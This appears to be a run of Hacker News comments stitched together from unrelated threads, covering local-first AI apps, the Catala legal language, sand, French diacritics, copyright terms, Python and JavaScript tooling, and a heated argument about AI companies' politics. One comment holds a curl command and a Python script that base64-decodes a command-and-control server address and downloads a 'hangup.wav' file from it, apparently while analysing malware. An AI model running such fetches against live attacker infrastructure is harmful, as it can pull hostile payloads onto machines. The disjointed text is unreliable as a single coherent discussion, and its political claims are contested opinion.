> Yes. OpenYak is local-first. Your conversations and files are stored only on your machine. When using cloud models, only API calls to LLM providers leave your computer.

So local-first and still upload files to cloud models if you configure it.

In France, not only our law are versioned. It's formally proved too!

https://catala-lang.org/

*Edit*: Woah ! The French crew is here. We are at least 5 quoting a variation of <https://www.legifrance.gouv.fr/> for versioning.

Catala is not at all about "proving the law" formally (I'm not even sure what it would mean?). It's about having a formal language to translate law into that both matches the way law is usually written ("default logic") and allows to make numerical computations on. This can typically be used to implement tax or benefits law so that it is way easier to check that the algorithm computing taxes/benefits is correct compared to the actual state of the art of using general purpose programming languages.

I don’t know if they do it, but it allows proving properties of the law. For example, that the tax increases with income or that an exception doesn’t accidentally increase the tax paid.

I find it ironic to have it named "catalan(g)" on a post about spanish law.

Even better. The Catalan word for Catalan is català. So catala-lang.org fits that too.

Previous discussion https://news.ycombinator.com/item?id=46177022

Borbaqui est la volonté du peuple!

How can we get the wav ? `curl -A "Mozilla/5.0" "http://<C2C_EndPoint>/hangup.wav"` does hang.

No ... I tried hard. But still get a timeout.

    import urllib.request
    import base64

    def _d(x):
        return base64.b64decode(x).decode("utf-8")


    C2C_URL = _d("aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==")
    # C2C_URL = "http://XXXXX:8080/ringtone.wav"

    r = urllib.request.Request(
        C2C_URL, headers={_d("VXNlci1BZ2VudA=="): _d("TW96aWxsYS81LjA=")}
    )
    with urllib.request.urlopen(r, timeout=15) as d:
        with open("/tmp/exatracted_tpcp.wav", "wb") as f:
            f.write(d.read())

I come from a island where its common to pain with sand. About one hundred beach, around two hundred colors, green is hard to make.

I learned that local sand composition is very affected by local geology.

I mean it makes sense that the sand is made of the same stuff as your local rocks, that's where it came from. Sure it washes around a bit in the surf but it's not like it's floating around the world on the ocean currents, at least not in massive quantities. I'm sure there are bits stuck in driftwood or whatnot but the vast majority should sink to the bottom.

And ê, when pronounced (most of the cases) it's just a è.

ë, contrary as said in the article (full slop?) is the most complicated and with some exceptions. But there is so few words that use that letter that you just don't have to care.

Just pronounce ë as è when its in (inside) a word and not pronounced at all when it's at the end. The only exception I can think of is canoë (pronounced conoé), but everybody will understand if you say cano.

> ë

What else is there with ë except for Noël and Israël ?

Ambiguë (ambiguous) and aiguë (acute) [1], but these are "old" spellings.

For instance, this word "ambiguë" was changed in the 1990 spelling reform to "ambigüe" [2] probably to emphasis the fact that the U is not mute (because for most -gue words it is, like for "fatigue" in french and english).

Like with ï and ü, the tréma mark is precisely the mark of an exception.

[1] https://fr.wiktionary.org/wiki/ambigu%C3%AB , https://fr.wiktionary.org/wiki/aigu%C3%AB

[2] https://en.wiktionary.org/wiki/ambig%C3%BCe

https://fr.wikipedia.org/wiki/Tr%C3%A9ma_en_fran%C3%A7ais Some adjectives: aiguë, exiguë... (though a bunch are more commonly written with it on the ü instead) Some proper names: Gaël, Gwenaël, Ismaël

They did ask AI if AGI what a great name. It said that it was the greatest name possible. It's bold, aspirational, and ... polarizing?!

Oh god! Mistral tell me it's highly polarizing, will make the buzz and it's risky but anyway people will know that ARM is doing CPU again now (maybe I did put too many context).

About IP. It's 70 years after the death of the author in France, so Camus (car crash in 1960) books will be PD in 2030. There is an exception for people who lost live from war (+30 years), so 2044 is the year the elevate to PD for "Le petit prince".

I don't understand that right is attached to local legislation. Like you will have access to these book before we do because of the local legislation of USA? That is a bit crazy.

I was going to say that pnpm isn't that old but wikipedia says 2017!

pnpm is amazing for speed and everybody should use it! but even with npm before it, at least it was correct. I had very few (none?) mysterious issues with it that could only be solved by nuking the entire environment. That is more than I can say about the python package managers before uv.

uv + PEP723 is amazing for CLI tools

You download one .py, run it and uv automatically downloads and installs any requirements to a virtual environment and runs it

Has the developer tooling been fixed? Doesn't it use an ephemeral environment? How do editors/LSPs know where to get dependency information?

There is no way is it not generated on user computer.

"get the correct command first" and "shipping a [external] dataset" are incompatible.

The Data Privacy paragraph would suggest otherwise.

> By default, Atuin AI knows nothing about your machine, other than the operating system and shell. This is the bare minimum required to generate a decent shell command.

> It will soon be able to ask you for access to more data - such as the current directory path, contents, git status, etc - but you must give permission first. This will happen in a similar way to existing agents, and be configurable to an even finer degree in your config file.

Yes, you are doing it too with antropic an xAI. I don't get your point. xAI and OpenAI are a little worst? Maybe, still very well fascism.

Quite a lot worse. Both OpenAI and xAI were among the largest donors of Trump's campaign

Musk was the largest individual political donor of the 2024 election [1] and Greg Brockman was the largest donor to Trump's "MAGA Inc" super PAC [2]

[1] https://www.washingtonpost.com/technology/2024/12/06/elon-mu...

[2] https://www.theverge.com/ai-artificial-intelligence/867947/o...

You’re right, Anthropic is quite a bit worse https://www.washingtonpost.com/technology/2026/03/04/anthrop...

Wait - are you missing all the context on this? Anthropic pushed back against this hard, there was a whole back and forth. I'm on mobile and can't look it up for you atm but if you google about this scenario, Anthropic definitely come out of this looking a lot better than OpenAI and xAI

Key being “worked”, past tense

Now they’re blacklisted from government work (appeal pending) and OpenAI practically jumped to replace them immediately

You’re right it completely doesn’t matter they’ve been instrumental to ICE and the war in Iran. It’s fine now, their previous actions are excused.

Edit: the word you’re also looking for is “working” not “worked”. I have many friends on government contracts still using Claude.

If you evaluate fascism in terms of donation, yes.

But it is more about the political opinions, IMHO, and Anthropic doesn't sound more attractive than the competitors. Anthropic is very much to the right of the transhumanism spectrum (even if xAI and OpenAI are even farther).

IMO, OpenAI have either implicitly committed to becoming the IT service for Trump's secret police, or they've willingly signed up for the harsh retaliation Anthropic's getting, knowing that the Trump administration will inevitably try to push OpenAI around in the same way, if they meaningfully refuse to assist in domestic mass surveillance efforts.

Anthropic was fine doing the same, they just didn't want it done to Americans.

OpenAI agreeing to operate as Trump's secret police materially impacts your security as a European, though, because it cements Trump's power.

Again, though, both of them agreed to that. Anthropic just didn't want to spy on Americans.

You can argue a moral equivalence, I guess, but on a practical level, OpenAI's decision is more dangerous for everyone, because it will help to secure Trump as a dictator.